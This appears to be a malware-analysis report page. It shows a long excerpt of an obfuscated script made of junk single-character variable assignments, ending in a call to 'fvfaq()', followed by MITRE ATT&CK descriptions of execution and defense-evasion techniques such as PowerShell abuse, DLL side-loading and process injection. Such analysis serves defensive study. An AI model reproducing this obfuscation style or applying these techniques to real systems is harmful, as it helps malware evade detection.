444	xgdkg = "B";
445	xgdkg = "Z";
446	xgdkg = "v";
447	xgdkg = "j";
448	xgdkg = "U";
449	xgdkg = "d";
450	hchadsmo = "X";
451	hchadsmo = "r";
452	hchadsmo = "V";
453	hchadsmo = "r";
454	hchadsmo = "T";
455	hchadsmo = "D";
456	hchadsmo = "Q";
457	hchadsmo = "F";
458	hchadsmo = "u";
459	hchadsmo = "g";
460	hchadsmo = "l";
461	hchadsmo = "Z";
462	hchadsmo = "o";
463	hchadsmo = "R";
464	hchadsmo = "P";
465	hchadsmo = "Y";
466	hchadsmo = "W";
467	hchadsmo = "v";
468	hchadsmo = "Z";
469	hchadsmo = "y";
470	hchadsmo = "h";
471	hchadsmo = "I";
472	hchadsmo = "L";
473	hchadsmo = "R";
474	hchadsmo = "N";
475	hchadsmo = "L";
476	hchadsmo = "g";
477	hchadsmo = "j";
478	hchadsmo = "r";
479	hchadsmo = "z";
480	hchadsmo = "n";
481	hchadsmo = "w";
482	hchadsmo = "H";
483	hchadsmo = "L";
484	hchadsmo = "v";
485	hchadsmo = "J";
486	hchadsmo = "I";
487	hchadsmo = "M";
488	hchadsmo = "t";
489	hchadsmo = "r";
490	hchadsmo = "Q";
491	hchadsmo = " ";
492	qwrwerkuq = "Q";
493	qwrwerkuq = "v";
494	qwrwerkuq = "y";
495	qwrwerkuq = "F";
496	qwrwerkuq = "o";
497	qwrwerkuq = "Y";
498	qwrwerkuq = "Q";
499	qwrwerkuq = "F";
500	qwrwerkuq = "o";
501	qwrwerkuq = "X";
502	qwrwerkuq = "A";
503	qwrwerkuq = "g";
504	qwrwerkuq = "D";
505	qwrwerkuq = "I";
506	qwrwerkuq = "P";
507	qwrwerkuq = "N";
508	cxgmhu = "Y";
509	cxgmhu = "w";
510	cxgmhu = "s";
511	cxgmhu = "J";
512	cxgmhu = "n";
513	cxgmhu = "V";
514	cxgmhu = "q";
515	cxgmhu = "k";
516	cxgmhu = "B";
517	cxgmhu = "f";
518	cxgmhu = "Z";
519	cxgmhu = "h";
520	cxgmhu = "c";
521	cxgmhu = "J";
522	cxgmhu = "h";
523	cxgmhu = "D";
524	cxgmhu = "I";
525	cxgmhu = "J";
526	cxgmhu = "Q";
527	cxgmhu = "R";
528	cxgmhu = "R";
529	cxgmhu = "H";
530	cxgmhu = "U";
531	cxgmhu = "P";
532	cxgmhu = "u";
533	cxgmhu = "r";
534	cxgmhu = "S";
535	cxgmhu = "c";
536	cxgmhu = "e";
537	cxgmhu = "g";
538	cxgmhu = "N";
539	cxgmhu = "h";
540	cxgmhu = "U";
541	cxgmhu = "U";
542	ldlvosz = "j";
543	ldlvosz = "p";
544	ldlvosz = "G";
545	ldlvosz = "x";
546	ldlvosz = "t";
547	ldlvosz = "J";
548	ldlvosz = "R";
549	ldlvosz = "p";
550	ldlvosz = "L";
551	ldlvosz = "A";
552	ldlvosz = "z";
553	ldlvosz = "n";
554	ldlvosz = "m";
555	ldlvosz = "A";
556	ldlvosz = "c";
557	ldlvosz = "T";
558	ldlvosz = "G";
559	ldlvosz = "T";
560	ldlvosz = "a";
561	ldlvosz = "q";
562	ldlvosz = "m";
563	ldlvosz = "z";
564	ldlvosz = "m";
565	ldlvosz = "r";
566	ldlvosz = "V";
567	ldlvosz = "Y";
568	ldlvosz = "U";
569	ldlvosz = "l";
570	ldlvosz = "N";
571	ldlvosz = "s";
572	ldlvosz = "h";
573	ldlvosz = "-";
574	rzdtf = "O";
575	rzdtf = "O";
576	rzdtf = "m";
577	rzdtf = "Z";
578	rzdtf = "Q";
579	rzdtf = "b";
580	rzdtf = "P";
581	rzdtf = "8";
582	adwchvqu = "H";
583	adwchvqu = "n";
584	adwchvqu = "S";
585	adwchvqu = "q";
586	adwchvqu = "U";
587	adwchvqu = "W";
588	adwchvqu = "L";
589	adwchvqu = "b";
590	adwchvqu = "T";
591	adwchvqu = "F";
592	adwchvqu = "g";
593	adwchvqu = "z";
594	adwchvqu = "G";
595	adwchvqu = "d";
596	adwchvqu = "i";
597	adwchvqu = "F";
598	adwchvqu = "t";
599	adwchvqu = "u";
600	adwchvqu = "v";
601	adwchvqu = "z";
602	adwchvqu = "w";
603	adwchvqu = "v";
604	adwchvqu = "x";
605	adwchvqu = "j";
606	adwchvqu = "A";
607	adwchvqu = "P";
608	adwchvqu = "u";
609	adwchvqu = "x";
610	adwchvqu = "j";
611	adwchvqu = "L";
612	adwchvqu = "B";
613	adwchvqu = "j";
614	adwchvqu = "Z";
615	adwchvqu = "t";
616	adwchvqu = "S";
617	adwchvqu = "g";
618	adwchvqu = "o";
619	adwchvqu = "k";
620	adwchvqu = "P";
621	qdhjlu = "c";
622	qdhjlu = "u";
623	qdhjlu = "Q";
624	qdhjlu = "t";
625	qdhjlu = "b";
626	qdhjlu = "p";
627	qdhjlu = "x";
628	qdhjlu = "v";
629	qdhjlu = "B";
630	qdhjlu = "y";
631	qdhjlu = "c";
632	qdhjlu = "U";
633	qdhjlu = "N";
634	qdhjlu = "Q";
635	qdhjlu = "M";
636	qdhjlu = "t";
637	qdhjlu = "p";
638	qdhjlu = "b";
639	qdhjlu = "k";
640	qdhjlu = "P";
641	qdhjlu = "j";
642	qdhjlu = "d";
643	qdhjlu = "z";
644	qdhjlu = "E";
645	qdhjlu = "D";
646	qdhjlu = "T";
647	qdhjlu = "O";
648	qdhjlu = "d";
649	qdhjlu = "Q";
650	qdhjlu = "d";
651	qdhjlu = "l";
652	qdhjlu = "X";
653	qdhjlu = "N";
654	qdhjlu = "j";
655	qdhjlu = "7";
656	raulp = "t";
657	raulp = "T";
658	raulp = "F";
659	raulp = "v";
660	raulp = "M";
661	raulp = "a";
662	raulp = "q";
663	raulp = "X";
664	raulp = "H";
665	raulp = "m";
666	raulp = "f";
667	raulp = "v";
668	raulp = "I";
669	raulp = "r";
670	uzdwgswxf = "J";
671	uzdwgswxf = "W";
672	sudzd = "o";
673	sudzd = "I";
674	sudzd = "O";
675	sudzd = "a";
676	sudzd = "o";
677	sudzd = "X";
678	sudzd = "Q";
679	sudzd = "J";
680	sudzd = "i";
681	sudzd = "D";
682	sudzd = "q";
683	sudzd = "I";
684	sudzd = "k";
685	sudzd = "i";
686	sudzd = "z";
687	sudzd = "H";
688	sudzd = "T";
689	sudzd = "d";
690	sudzd = "o";
691	sudzd = "v";
692	sudzd = "k";
693	sudzd = "L";
694	sudzd = "D";
695	sudzd = "a";
696	sudzd = "m";
697	hqekalf = "d";
698	hqekalf = "l";
699	hqekalf = "F";
700	hqekalf = "r";
701	hqekalf = "Z";
702	hqekalf = "J";
703	hqekalf = "V";
704	hqekalf = "i";
705	hqekalf = "o";
706	hqekalf = "p";
707	hqekalf = "C";
708	hqekalf = "v";
709	hqekalf = "m";
710	hqekalf = "Q";
711	hqekalf = "k";
712	hqekalf = "S";
713	hqekalf = "j";
714	hqekalf = "R";
715	hqekalf = "A";
716	hqekalf = "c";
717	hqekalf = "b";
718	hqekalf = "h";
719	hqekalf = "q";
720	hqekalf = "&";
721	fvhhk = "D";
722	fvhhk = "P";
723	fvhhk = "w";
724	fvhhk = "i";
725	fvhhk = "V";
726	fvhhk = "o";
727	fvhhk = "w";
728	srfkomzo = "A";
729	srfkomzo = "a";
730	srfkomzo = "t";
731	srfkomzo = "w";
732	srfkomzo = "c";
733	srfkomzo = "v";
734	srfkomzo = "L";
735	srfkomzo = "V";
736	srfkomzo = "T";
737	srfkomzo = "k";
738	srfkomzo = "H";
739	srfkomzo = "C";
740	srfkomzo = "p";
741	srfkomzo = "O";
742	srfkomzo = "K";
743	srfkomzo = "D";
744	srfkomzo = "T";
745	srfkomzo = "N";
746	srfkomzo = "C";
747	srfkomzo = "g";
748	srfkomzo = "F";
749	srfkomzo = "N";
750	srfkomzo = "Z";
751	srfkomzo = "C";
752	cfoizqetn = "O";
753	cfoizqetn = "o";
754	cfoizqetn = "q";
755	cfoizqetn = "I";
756	cfoizqetn = "j";
757	cfoizqetn = "p";
758	cfoizqetn = "A";
759	cfoizqetn = "P";
760	cfoizqetn = "A";
761	cfoizqetn = "c";
762	cfoizqetn = "C";
763	cfoizqetn = "u";
764	cfoizqetn = "p";
765	cfoizqetn = "A";
766	cfoizqetn = "N";
767	cfoizqetn = "r";
768	cfoizqetn = "p";
769	irfukei = "O";
770	irfukei = "x";
771	irfukei = "V";
772	irfukei = "v";
773	irfukei = "Z";
774	irfukei = "W";
775	irfukei = "M";
776	irfukei = "E";
777	irfukei = "d";
778	irfukei = "g";
779	irfukei = "D";
780	irfukei = "I";
781	irfukei = "N";
782	irfukei = "n";
783	irfukei = "R";
784	irfukei = "H";
785	irfukei = "d";
786	irfukei = "n";
787	irfukei = "k";
788	irfukei = "U";
789	irfukei = "f";
790	irfukei = "x";
791	irfukei = "h";
792	pebtoilsc = "O";
793	pebtoilsc = "v";
794	pebtoilsc = "h";
795	pebtoilsc = "R";
796	pebtoilsc = "h";
797	pebtoilsc = "C";
798	pebtoilsc = "y";
799	pebtoilsc = "g";
800	pebtoilsc = "E";
801	pebtoilsc = "H";
802	pebtoilsc = "T";
803	pebtoilsc = "g";
804	pebtoilsc = "o";
805	rbizaqua = "z";
806	rbizaqua = "T";
807	rbizaqua = "x";
808	rbizaqua = "F";
809	rbizaqua = "E";
810	rbizaqua = "U";
811	rbizaqua = "g";
812	rbizaqua = "S";
813	rbizaqua = "q";
814	rbizaqua = "K";
815	rbizaqua = "y";
816	rbizaqua = "i";
817	rbizaqua = "B";
818	rbizaqua = ".";
819	vdwlbw = "Z";
820	vdwlbw = "S";
821	vdwlbw = "L";
822	vdwlbw = "C";
823	vdwlbw = "w";
824	vdwlbw = "d";
825	vdwlbw = "q";
826	vdwlbw = "p";
827	vdwlbw = "B";
828	vdwlbw = "b";
829	vdwlbw = "t";
830	vdwlbw = "M";
831	vdwlbw = "o";
832	vdwlbw = "I";
833	vdwlbw = "Z";
834	vdwlbw = "l";
835	vdwlbw = "E";
836	vdwlbw = "k";
837	vdwlbw = "v";
838	vdwlbw = "e";
839	vdwlbw = "H";
840	vdwlbw = "B";
841	vdwlbw = "E";
842	vdwlbw = "N";
843	vdwlbw = "c";
844	vdwlbw = "y";
845	vdwlbw = "w";
846	vdwlbw = "s";
847	vdwlbw = "I";
848	vdwlbw = "X";
849	vdwlbw = "K";
850	vdwlbw = "l";
851	vdwlbw = "H";
852	vdwlbw = "j";
853	vdwlbw = "A";
854	vdwlbw = "E";
855	vdwlbw = "l";
856	pgwdup = "u";
857	pgwdup = "d";
858	pgwdup = "k";
859	pgwdup = "l";
860	pgwdup = "a";
861	pgwdup = "W";
862	pgwdup = "s";
863	pgwdup = "t";
864	pgwdup = "H";
865	pgwdup = "E";
866	pgwdup = "u";
867	pgwdup = "d";
868	pgwdup = "l";
869	pgwdup = "W";
870	pgwdup = "u";
871	pgwdup = "b";
872	pgwdup = "Y";
873	pgwdup = "M";
874	pgwdup = "D";
875	pgwdup = "L";
876	pgwdup = "Z";
877	pgwdup = "S";
878	pgwdup = "b";
879	pgwdup = "X";
880	pgwdup = "g";
881	pgwdup = "m";
882	pgwdup = "F";
883	pgwdup = "l";
884	pgwdup = "t";
885	pgwdup = "n";
886	pgwdup = "m";
887	pgwdup = "a";
888	pgwdup = "g";
889	pgwdup = "y";
890	pgwdup = "X";
891	pgwdup = "H";
892	pgwdup = "A";
893	pgwdup = "H";
894	pgwdup = "X";
895	pgwdup = "Q";
896	iodfxamu = "x";
897	iodfxamu = "M";
898	iodfxamu = "k";
899	iodfxamu = "6";
900	opnpqk = "m";
901	opnpqk = "v";
902	opnpqk = "Q";
903	opnpqk = "e";
904	opnpqk = "c";
905	opnpqk = "F";
906	eptjpgd = "W";
907	eptjpgd = "X";
908	eptjpgd = "M";
909	eptjpgd = "g";
910	eptjpgd = "C";
911	eptjpgd = "X";
912	eptjpgd = "U";
913	eptjpgd = "w";
914	eptjpgd = "e";
915	eptjpgd = "Z";
916	eptjpgd = "i";
917	eptjpgd = "R";
918	eptjpgd = "l";
919	eptjpgd = "C";
920	eptjpgd = "H";
921	eptjpgd = "a";
922	eptjpgd = "p";
923	eptjpgd = "P";
924	eptjpgd = "F";
925	eptjpgd = "b";
926	vqaoumte = "S";
927	vqaoumte = "L";
928	vqaoumte = "A";
929	vqaoumte = "S";
930	vqaoumte = "M";
931	vqaoumte = "j";
932	vqaoumte = "J";
933	vqaoumte = "M";
934	vqaoumte = "G";
935	vqaoumte = "r";
936	vqaoumte = "Z";
937	vqaoumte = "i";
938	vqaoumte = "v";
939	vqaoumte = "B";
940	vqaoumte = "C";
941	vqaoumte = "a";
942	vqaoumte = "o";
943	vqaoumte = "K";
944	vqaoumte = "J";
945	vqaoumte = "J";
946	vqaoumte = "T";
947	vqaoumte = "r";
948	vqaoumte = "b";
949	vqaoumte = "S";
950	vqaoumte = "4";
951	alklbyn = "U";
952	alklbyn = "F";
953	alklbyn = "e";
954	alklbyn = "I";
955	alklbyn = "V";
956	alklbyn = "Q";
957	alklbyn = "p";
958	alklbyn = "X";
959	alklbyn = "J";
960	alklbyn = "y";
961	alklbyn = "U";
962	alklbyn = "G";
963	alklbyn = "H";
964	alklbyn = "X";
965	alklbyn = "c";
966	alklbyn = "s";
967	alklbyn = "t";
968	alklbyn = "e";
969	alklbyn = "P";
970	alklbyn = "x";
971	alklbyn = "a";
972	alklbyn = "l";
973	alklbyn = "H";
974	alklbyn = "P";
975	alklbyn = "v";
976	alklbyn = "U";
977	alklbyn = "g";
978	alklbyn = "T";
979	alklbyn = "u";
980	alklbyn = "a";
981	alklbyn = "p";
982	alklbyn = "I";
983	alklbyn = "k";
984	alklbyn = "r";
985	alklbyn = "l";
986	alklbyn = "f";
987	ibtpv = "r";
988	ibtpv = "l";
989	ibtpv = "v";
990	ibtpv = "Z";
991	ibtpv = "k";
992	ibtpv = "t";
993	ibtpv = "i";
994	ibtpv = "i";
995	ibtpv = "u";
996	ibtpv = "a";
997	ibtpv = "a";
998	ibtpv = "L";
999	ibtpv = "o";
1000	ibtpv = "h";
1001	ibtpv = "A";
1002	ibtpv = "Z";
1003	ibtpv = "n";
1004	ibtpv = "J";
1005	ibtpv = "w";
1006	ibtpv = "w";
1007	ibtpv = "k";
1008	ibtpv = "F";
1009	ibtpv = "p";
1010	ibtpv = "F";
1011	ibtpv = "D";
1012	ibtpv = "p";
1013	ibtpv = "N";
1014	ibtpv = "n";
1015	ibtpv = "D";
1016	ibtpv = "Y";
1017	ibtpv = "O";
1018	ibtpv = "r";
1019	ibtpv = "b";
1020	ibtpv = "u";
1021	umnytusv = "a";
1022	umnytusv = "J";
1023	umnytusv = "O";
1024	anltgfhj = "E";
1025	anltgfhj = "H";
1026	anltgfhj = "N";
1027	anltgfhj = "L";
1028	anltgfhj = "q";
1029	anltgfhj = "W";
1030	anltgfhj = "Q";
1031	anltgfhj = "n";
1032	anltgfhj = "l";
1033	anltgfhj = "d";
1034	anltgfhj = "Y";
1035	anltgfhj = "u";
1036	anltgfhj = "g";
1037	hjnwnvsn = "Q";
1038	hjnwnvsn = "l";
1039	hjnwnvsn = "l";
1040	hjnwnvsn = "Y";
1041	hjnwnvsn = "x";
1042	hjnwnvsn = "y";
1043	hjnwnvsn = "X";
1044	hjnwnvsn = "c";
1045	hjnwnvsn = "B";
1046	hjnwnvsn = "j";
1047	hjnwnvsn = "G";
1048	hjnwnvsn = "F";
1049	hjnwnvsn = "k";
1050	hjnwnvsn = "V";
1051	hjnwnvsn = "U";
1052	hjnwnvsn = "n";
1053	hjnwnvsn = "x";
1054	hjnwnvsn = "d";
1055	hjnwnvsn = "U";
1056	hjnwnvsn = "z";
1057	hjnwnvsn = "g";
1058	hjnwnvsn = "h";
1059	hjnwnvsn = "y";
1060	hjnwnvsn = "O";
1061	hjnwnvsn = "r";
1062	hjnwnvsn = "M";
1063	hjnwnvsn = "P";
1064	hjnwnvsn = "A";
1065	hjnwnvsn = "m";
1066	hjnwnvsn = "I";
1067	hjnwnvsn = "p";
1068	hjnwnvsn = "T";
1069	hjnwnvsn = "x";
1070	chlct = "W";
1071	chlct = "n";
1072	chlct = "Q";
1073	chlct = "z";
1074	chlct = "O";
1075	chlct = "n";
1076	chlct = "b";
1077	chlct = "Q";
1078	chlct = "n";
1079	chlct = "v";
1080	chlct = "f";
1081	chlct = "F";
1082	chlct = "p";
1083	chlct = "v";
1084	chlct = "e";
1085	chlct = "A";
1086	chlct = "Z";
1087	chlct = "E";
1088	chlct = "G";
1089	chlct = "@";
1090	cjntbwmil = "e";
1091	cjntbwmil = "G";
1092	cjntbwmil = "l";
1093	cjntbwmil = "c";
1094	cjntbwmil = "d";
1095	cjntbwmil = "o";
1096	cjntbwmil = "d";
1097	cjntbwmil = "n";
1098	cjntbwmil = "i";
1099	cjntbwmil = "F";
1100	cjntbwmil = "d";
1101	cjntbwmil = "d";
1102	cjntbwmil = "S";
1103	cjntbwmil = "T";
1104	cjntbwmil = "j";
1105	cjntbwmil = "A";
1106	cjntbwmil = "Q";
1107	cjntbwmil = "D";
1108	cjntbwmil = "g";
1109	cjntbwmil = "E";
1110	cjntbwmil = "W";
1111	cjntbwmil = "B";
1112	cjntbwmil = "W";
1113	cjntbwmil = "q";
1114	cjntbwmil = "t";
1115	cjntbwmil = "v";
1116	cjntbwmil = "g";
1117	cjntbwmil = "c";
1118	cjntbwmil = "v";
1119	wtkfqey = "T";
1120	wtkfqey = "f";
1121	wtkfqey = "h";
1122	wtkfqey = "a";
1123	wtkfqey = "r";
1124	wtkfqey = "m";
1125	wtkfqey = "l";
1126	wtkfqey = "R";
1127	wtkfqey = "M";
1128	wtkfqey = "D";
1129	wtkfqey = "A";
1130	wtkfqey = "K";
1131	wtkfqey = "P";
1132	wtkfqey = "G";
1133	wtkfqey = "X";
1134	wtkfqey = "F";
1135	wtkfqey = "A";
1136	wtkfqey = "n";
1137	wtkfqey = "j";
1138	wtkfqey = "w";
1139	wtkfqey = "k";
1140	wtkfqey = "K";
1141	wtkfqey = "b";
1142	wtkfqey = "g";
1143	wtkfqey = "\\";
1144	tvmbec = "G";
1145	tvmbec = "V";
1146	tvmbec = "f";
1147	tvmbec = "o";
1148	tvmbec = "B";
1149	tvmbec = "C";
1150	tvmbec = "f";
1151	tvmbec = "L";
1152	tvmbec = "M";
1153	tvmbec = "O";
1154	tvmbec = "p";
1155	tvmbec = "L";
1156	tvmbec = "O";
1157	tvmbec = "f";
1158	tvmbec = "w";
1159	tvmbec = "N";
1160	tvmbec = "t";
1161	tvmbec = "M";
1162	tvmbec = "X";
1163	tvmbec = "W";
1164	tvmbec = "g";
1165	tvmbec = "Z";
1166	tvmbec = "L";
1167	tvmbec = "g";
1168	tvmbec = "W";
1169	tvmbec = "j";
1170	tvmbec = "C";
1171	tvmbec = "d";
1172	tvmbec = "2";
1173	oozit = "M";
1174	oozit = "I";
1175	oozit = "V";
1176	oozit = "f";
1177	oozit = "r";
1178	oozit = "l";
1179	oozit = "p";
1180	oozit = "D";
1181	oozit = "r";
1182	oozit = "q";
1183	oozit = "r";
1184	oozit = "U";
1185	oozit = "d";
1186	oozit = "c";
1187	oozit = "_";
1188	oeifdeyo = "X";
1189	oeifdeyo = "n";
1190	oeifdeyo = "n";
1191	oeifdeyo = "E";
1192	oeifdeyo = "h";
1193	oeifdeyo = "O";
1194	oeifdeyo = "S";
1195	oeifdeyo = "r";
1196	oeifdeyo = "N";
1197	oeifdeyo = "r";
1198	oeifdeyo = "T";
1199	oeifdeyo = "s";
1200	oeifdeyo = "E";
1201	oeifdeyo = "S";
1202	oeifdeyo = "o";
1203	oeifdeyo = "s";
1204	guxnvaqzf = "P";
1205	guxnvaqzf = "x";
1206	guxnvaqzf = "C";
1207	guxnvaqzf = "z";
1208	guxnvaqzf = "d";
1209	guxnvaqzf = "x";
1210	guxnvaqzf = "S";
1211	guxnvaqzf = "a";
1212	guxnvaqzf = "U";
1213	guxnvaqzf = "l";
1214	guxnvaqzf = "q";
1215	guxnvaqzf = "Z";
1216	guxnvaqzf = "K";
1217	guxnvaqzf = "x";
1218	guxnvaqzf = "s";
1219	guxnvaqzf = "t";
1220	guxnvaqzf = "y";
1221	guxnvaqzf = "D";
1222	guxnvaqzf = "0";
1223	brwuhmqe = "R";
1224	brwuhmqe = "N";
1225	brwuhmqe = "a";
1226	brwuhmqe = "T";
1227	brwuhmqe = "Z";
1228	brwuhmqe = "u";
1229	brwuhmqe = "m";
1230	brwuhmqe = "C";
1231	brwuhmqe = "H";
1232	brwuhmqe = "M";
1233	brwuhmqe = "L";
1234	brwuhmqe = "Z";
1235	brwuhmqe = "V";
1236	brwuhmqe = "T";
1237	brwuhmqe = "M";
1238	brwuhmqe = "x";
1239	brwuhmqe = "V";
1240	brwuhmqe = "d";
1241	brwuhmqe = "x";
1242	brwuhmqe = "D";
1243	brwuhmqe = "Z";
1244	brwuhmqe = "J";
1245	brwuhmqe = "P";
1246	brwuhmqe = "/";
1247	ublyhoalp = "X";
1248	ublyhoalp = "K";
1249	ublyhoalp = "c";
1250	ublyhoalp = "R";
1251	ublyhoalp = "l";
1252	ublyhoalp = "W";
1253	ublyhoalp = "m";
1254	ublyhoalp = "f";
1255	ublyhoalp = "T";
1256	ublyhoalp = "l";
1257	ublyhoalp = "i";
1258	ublyhoalp = "A";
1259	ublyhoalp = "T";
1260	ublyhoalp = "S";
1261	ublyhoalp = "w";
1262	ublyhoalp = "W";
1263	ublyhoalp = "l";
1264	ublyhoalp = "R";
1265	ublyhoalp = "o";
1266	ublyhoalp = "p";
1267	ublyhoalp = "f";
1268	ublyhoalp = "Y";
1269	ublyhoalp = "n";
1270	ublyhoalp = "N";
1271	ublyhoalp = "S";
1272	cpcsbimqa = "O";
1273	cpcsbimqa = "l";
1274	cpcsbimqa = "r";
1275	cpcsbimqa = "5";
1276	ctbjwz = "l";
1277	ctbjwz = "u";
1278	ctbjwz = "L";
1279	ctbjwz = "j";
1280	ctbjwz = "I";
1281	ctbjwz = "f";
1282	ctbjwz = "f";
1283	ctbjwz = "M";
1284	ctbjwz = "Q";
1285	ctbjwz = "h";
1286	ctbjwz = "D";
1287	ctbjwz = "r";
1288	ctbjwz = "q";
1289	ctbjwz = "u";
1290	ctbjwz = "s";
1291	ctbjwz = "j";
1292	ctbjwz = "D";
1293	ctbjwz = "k";
1294	ctbjwz = "v";
1295	ctbjwz = "j";
1296	ctbjwz = "o";
1297	ctbjwz = "g";
1298	ctbjwz = "Y";
1299	ctbjwz = "R";
1300	ctbjwz = "u";
1301	ctbjwz = "F";
1302	ctbjwz = "R";
1303	ctbjwz = "v";
1304	ctbjwz = "r";
1305	ctbjwz = "e";
1306	ctbjwz = "D";
1307	ctbjwz = "T";
1308	ctbjwz = "j";
1309	ctbjwz = "y";
1310	ctbjwz = "R";
1311	vfpxrzmc = "F";
1312	vfpxrzmc = "n";
1313	vfpxrzmc = "r";
1314	vfpxrzmc = "U";
1315	vfpxrzmc = "x";
1316	vfpxrzmc = "K";
1317	vfpxrzmc = "V";
1318	vfpxrzmc = "i";
1319	vfpxrzmc = "Q";
1320	vfpxrzmc = "e";
1321	vfpxrzmc = "y";
1322	vfpxrzmc = "m";
1323	vfpxrzmc = "J";
1324	vfpxrzmc = "d";
1325	vfpxrzmc = "\"";
1326	zlsplogtc = "u";
1327	zlsplogtc = "U";
1328	zlsplogtc = "e";
1329	zlsplogtc = "w";
1330	zlsplogtc = "D";
1331	zlsplogtc = "N";
1332	zlsplogtc = "f";
1333	zlsplogtc = "c";
1334	zlsplogtc = "W";
1335	zlsplogtc = "I";
1336	zlsplogtc = "d";
1337	zlsplogtc = "g";
1338	zlsplogtc = "k";
1339	zlsplogtc = "u";
1340	zlsplogtc = "c";
1341	zlsplogtc = "v";
1342	zlsplogtc = "i";
1343	zlsplogtc = "y";
1344	zlsplogtc = "q";
1345	zlsplogtc = "Y";
1346	zlsplogtc = "A";
1347	zlsplogtc = "w";
1348	zlsplogtc = "T";
1349	zlsplogtc = "O";
1350	zlsplogtc = "B";
1351	zlsplogtc = "n";
1352	zlsplogtc = "A";
1353	zlsplogtc = "Y";
1354	zlsplogtc = "z";
1355	zlsplogtc = "R";
1356	zlsplogtc = "c";
1357	zlsplogtc = "f";
1358	zlsplogtc = "F";
1359	zlsplogtc = "y";
1360	zlsplogtc = "q";
1361	zlsplogtc = "D";
1362	zlsplogtc = "J";
1363	zlsplogtc = "J";
1364	zlsplogtc = "E";
1365	zlsplogtc = "i";
1366	vbxgbtw = "y";
1367	vbxgbtw = "y";
1368	vbxgbtw = "j";
1369	vbxgbtw = "Q";
1370	vbxgbtw = "f";
1371	vbxgbtw = "K";
1372	vbxgbtw = "d";
1373	vbxgbtw = "v";
1374	vbxgbtw = "R";
1375	vbxgbtw = "s";
1376	vbxgbtw = "V";
1377	vbxgbtw = "Z";
1378	vbxgbtw = "G";
1379	vbxgbtw = "z";
1380	vbxgbtw = "G";
1381	vbxgbtw = "u";
1382	vbxgbtw = "S";
1383	vbxgbtw = "Z";
1384	vbxgbtw = "p";
1385	vbxgbtw = "C";
1386	vbxgbtw = "U";
1387	vbxgbtw = "v";
1388	vbxgbtw = "U";
1389	vbxgbtw = "I";
1390	vbxgbtw = "K";
1391	vbxgbtw = "G";
1392	vbxgbtw = "K";
1393	vbxgbtw = "B";
1394	vbxgbtw = "v";
1395	vbxgbtw = "O";
1396	vbxgbtw = "h";
1397	vbxgbtw = "j";
1398	vbxgbtw = "b";
1399	vbxgbtw = "D";
1400	vbxgbtw = "t";
1401	vbxgbtw = "g";
1402	vbxgbtw = "p";
1403	vbxgbtw = "V";
1404	vbxgbtw = "E";
1405	qzqfzgdt = "B";
1406	qzqfzgdt = "G";
1407	qzqfzgdt = "S";
1408	qzqfzgdt = "a";
1409	qzqfzgdt = "P";
1410	qzqfzgdt = "Y";
1411	qzqfzgdt = "u";
1412	qzqfzgdt = "u";
1413	qzqfzgdt = "q";
1414	qzqfzgdt = "T";
1415	qzqfzgdt = "i";
1416	qzqfzgdt = "y";
1417	qzqfzgdt = "J";
1418	qzqfzgdt = "D";
1419	qzqfzgdt = "q";
1420	qzqfzgdt = "i";
1421	qzqfzgdt = "Z";
1422	qzqfzgdt = "k";
1423	qzqfzgdt = "r";
1424	qzqfzgdt = "W";
1425	qzqfzgdt = "r";
1426	qzqfzgdt = "B";
1427	qzqfzgdt = "P";
1428	qzqfzgdt = "3";
1429	jhfztimzs = "N";
1430	jhfztimzs = "T";
1431	jhfztimzs = "Y";
1432	fvfaq ( );	fvfaq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

